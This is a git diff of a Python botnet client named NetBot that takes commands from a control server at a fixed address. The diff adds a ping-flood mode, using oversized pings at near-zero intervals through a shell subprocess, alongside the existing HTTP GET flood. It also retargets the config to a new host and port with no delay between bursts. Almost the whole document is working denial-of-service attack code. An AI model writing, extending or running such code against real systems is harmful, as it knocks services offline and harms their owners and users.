diff --git a/__pycache__/netbot_config.cpython-39.pyc b/__pycache__/netbot_config.cpython-39.pyc deleted file mode 100644 index 94319ba..0000000 Binary files a/__pycache__/netbot_config.cpython-39.pyc and /dev/null differ diff --git a/netbot_client.py b/netbot_client.py index 07e356e..a5707d1 100644 --- a/netbot_client.py +++ b/netbot_client.py @@ -15,6 +15,8 @@ #import requests import os import urllib.request +import subprocess +import signal @@ -27,15 +29,27 @@ def terminate(self): self._running = False def run(self, n): - while self._running and attackSet: - - url_attack = 'http://'+n[0]+':'+n[1]+'/' - - #r = requests.get("http://192.168.0.151/") - u = urllib.request.urlopen(url_attack).read() - #print("Value ", n) - #print("URL", url_attack) - time.sleep(int(n[4])) + run = 0 + #terminate = 0 + if n[3]=="HTTPFLOOD": + while self._running and attackSet: + url_attack = 'http://'+n[0]+':'+n[1]+'/' + u = urllib.request.urlopen(url_attack).read() + time.sleep(int(n[4])) + + if n[3]=="PINGFLOOD": + while self._running: + if attackSet: + if run == 0: + url_attack = 'ping '+n[0]+' -i 0.0000001 -s 65000 > /dev/null 2>&1' + pro = subprocess.Popen(url_attack, stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid) + run = 1 + else: + if run == 1: + os.killpg(os.getpgid(pro.pid), signal.SIGTERM) + run = 0 + break + def Main(): @@ -45,6 +59,8 @@ def Main(): attackSet = 0 global updated updated = 0 + global terminate + terminate = 0 host = '192.168.0.174' # NetBot CCC Server @@ -129,4 +145,4 @@ def Main(): s.close() if __name__ == '__main__': - Main() + Main() \ No newline at end of file diff --git a/netbot_config.py b/netbot_config.py index 6e2db1b..979cb31 100644 --- a/netbot_config.py +++ b/netbot_config.py @@ -1,15 +1,16 @@ -ATTACK_TARGET_HOST = "192.168.0.174" # IP address of the machine to be attacked. -ATTACK_TARGET_PORT = "80" # Port Number of the machine to be attacked. +ATTACK_TARGET_HOST = "192.168.0.105" # IP address of the machine to be attacked. +ATTACK_TARGET_PORT = "3000" # Port Number of the machine to be attacked. ################################################################################# # Type of Attacks (Other Attacks are not yet supported) - #HTTPFLOOD - Floods the target system with GET requests. + #HTTPFLOOD - Floods the target system with GET requests. (PORT and DELAY parameters required) + #PINGFLOOD - Floods the target system with ICMP echo requests. (PORT AND DELAY parameters not required) -ATTACK_TYPE = "HTTPFLOOD" +ATTACK_TYPE = "PINGFLOOD" # Number of seconds delay between the burst of requests. 0 for No Delay -ATTACK_BURST_SECONDS = "1" +ATTACK_BURST_SECONDS = "0" #################################################################################